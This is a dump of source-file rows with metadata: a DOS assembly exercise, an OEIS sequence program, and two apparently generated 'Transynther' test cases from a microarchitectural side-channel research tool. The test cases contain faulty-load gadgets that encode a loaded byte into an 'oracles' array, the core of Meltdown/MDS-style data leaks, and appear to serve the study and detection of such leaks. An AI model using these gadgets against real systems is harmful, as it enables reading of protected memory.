32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 32.422414
| 2,999
| 0.655278
|
eb306f033fe37f920c859adf6694d9013467929e
| 258
|
asm
|
Assembly
|
Mid-Term/Solution/Lab_Mid/ASM/MidQ4.asm
|
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
|
52a984fd9cae962760c759306e7998bd9ee75afc
|
[
"MIT"
] | null | null | null |
Mid-Term/Solution/Lab_Mid/ASM/MidQ4.asm
|
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
|
52a984fd9cae962760c759306e7998bd9ee75afc
|
[
"MIT"
] | null | null | null |
Mid-Term/Solution/Lab_Mid/ASM/MidQ4.asm
|
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
|
52a984fd9cae962760c759306e7998bd9ee75afc
|
[
"MIT"
] | null | null | null |
.MODEL SMALL
.STACK 100H
.DATA
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
MOV CX ,5
MOV AH,2
MOV DL, 42
@LOOP:
INT 21H
DEC CX
JNZ @LOOP
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN
| 7.818182
| 15
| 0.468992
|
3d20e5797a23b5767c2d3c802a9c5076995d61cc
| 8,440
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1011.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1011.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1011.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1d069, %r12
nop
add $25622, %r15
movb (%r12), %cl
nop
nop
nop
cmp %rbp, %rbp
lea addresses_A_ht+0xdb59, %rsi
lea addresses_WC_ht+0x1cc29, %rdi
nop
nop
nop
sub $50775, %rdx
mov $81, %rcx
rep movsq
nop
nop
and $63752, %rsi
lea addresses_D_ht+0x1e729, %rcx
nop
nop
dec %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm4
vmovups %ymm4, (%rcx)
nop
xor $16452, %r15
lea addresses_WT_ht+0x1bf29, %rdx
nop
nop
xor $10118, %r12
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%rdx)
nop
sub %rbp, %rbp
lea addresses_WT_ht+0x16539, %rsi
add $42403, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
movups %xmm2, (%rsi)
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x1b909, %r15
nop
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
movups %xmm2, (%r15)
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x8929, %rcx
nop
cmp $50960, %rsi
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdx
nop
and %rsi, %rsi
lea addresses_A_ht+0xd09, %rdi
nop
and $60097, %rbp
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
cmp %r12, %r12
lea addresses_A_ht+0x1d8c9, %rdx
nop
nop
nop
nop
sub %r15, %r15
mov (%rdx), %r12
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0x124d9, %rdx
nop
nop
nop
cmp %rsi, %rsi
movl $0x61626364, (%rdx)
nop
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x1c4f9, %rsi
lea addresses_D_ht+0xfa39, %rdi
nop
nop
nop
nop
sub $40728, %r8
mov $124, %rcx
rep movsw
nop
nop
nop
nop
and $51830, %rbp
lea addresses_A_ht+0x4da9, %rbp
clflush (%rbp)
nop
nop
and $15211, %rdx
mov (%rbp), %r12w
nop
nop
cmp $19975, %rsi
lea addresses_D_ht+0x110e9, %rsi
lea addresses_A_ht+0x1c49, %rdi
nop
nop
nop
and $23549, %r8
mov $107, %rcx
rep movsq
cmp %rcx, %rcx
lea addresses_normal_ht+0x193a9, %rsi
lea addresses_A_ht+0x1b0a9, %rdi
nop
sub $29808, %rdx
mov $4, %rcx
rep movsb
nop
nop
nop
nop
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x10b29, %rax
nop
nop
nop
nop
nop
add $27530, %r9
movl $0x51525354, (%rax)
nop
nop
nop
add %r15, %r15
// Load
lea addresses_A+0x7ac9, %r12
nop
nop
sub $33753, %rdi
mov (%r12), %r15
and $43426, %rax
// REPMOV
lea addresses_D+0xd0a9, %rsi
lea addresses_UC+0x10ab9, %rdi
nop
nop
nop
nop
nop
sub $34847, %rbp
mov $24, %rcx
rep movsq
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_WC+0x5729, %rcx
nop
dec %r15
movups (%rcx), %xmm1
vpextrq $0, %xmm1, %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 4, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 32.713178
| 2,999
| 0.655924
|
537591adb4a59ad2b45f50f19d069ffc968271f5
| 5,245
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1901_1715.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1901_1715.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1901_1715.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rbx
push %rcx
push %rsi
lea addresses_D_ht+0x18672, %r15
nop
nop
nop
nop
add %rsi, %rsi
vmovups (%r15), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
nop
sub $3991, %rax
lea addresses_WT_ht+0x2e8a, %r10
nop
nop
nop
nop
nop
xor $18135, %r11
vmovups (%r10), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rbx
nop
inc %rcx
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rdi
push %rdx
// Store
lea addresses_normal+0xd0c2, %r10
nop
nop
nop
dec %r12
movl $0x51525354, (%r10)
nop
nop
nop
nop
nop
inc %r11
// Store
lea addresses_WC+0x1e8e2, %r11
nop
nop
add $42640, %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r11)
nop
nop
nop
nop
add %rdx, %rdx
// Load
mov $0x2c2, %r11
nop
nop
nop
nop
cmp %r8, %r8
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r9
nop
nop
nop
xor $48725, %r12
// Faulty Load
lea addresses_US+0x16cc2, %r8
add %r12, %r12
movntdqa (%r8), %xmm0
vpextrq $0, %xmm0, %r10
lea oracles, %r11
and $0xff, %r10
shlq $12, %r10
mov (%r11,%r10,1), %r10
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 1901}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.976563
| 2,999
| 0.657579
|
b9fd961940cb9a29ad1c1cb23e224cd8826eadbc
| 351
|
asm
|
Assembly
|
programs/oeis/209/A209189.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/209/A209189.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/209/A209189.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A209189: Smallest prime factor of n^2 + n + 1.
; 7,13,3,31,43,3,73,7,3,7,157,3,211,241,3,307,7,3,421,463,3,7,601,3,19,757,3,13,7,3,7,1123,3,13,31,3,1483,7,3,1723,13,3,7,19,3,37,13,3,2551
add $0,3
bin $0,2
mul $0,2
seq $0,20639 ; Lpf(n): least prime dividing n (when n > 1); a(1) = 1. Or, smallest prime factor of n, or smallest prime divisor of n.
| 43.875
| 139
| 0.643875
|
757820698e170fa309a9a21e3aeec9b8ba5584b1
| 306
|
asm
|
Assembly
|
programs/oeis/249/A249605.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/249/A249605.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/249/A249605.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A249605: Dissectible numbers in the sense of Gunjikar and Kaprekar.
; 9,18,27,36,45,54,63,72,81,108,117,126,135,144,153,162,207,216,225,234,243,306,315,324,405
mov $2,$0
mov $0,0
add $2,1
mov $1,$2
lpb $2
add $1,$0
add $2,$0
add $0,2
sub $2,8
trn $2,1
lpe
sub $1,1
mul $1,9
add $1,9
mov $0,$1
| 16.105263
| 91
| 0.630719
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.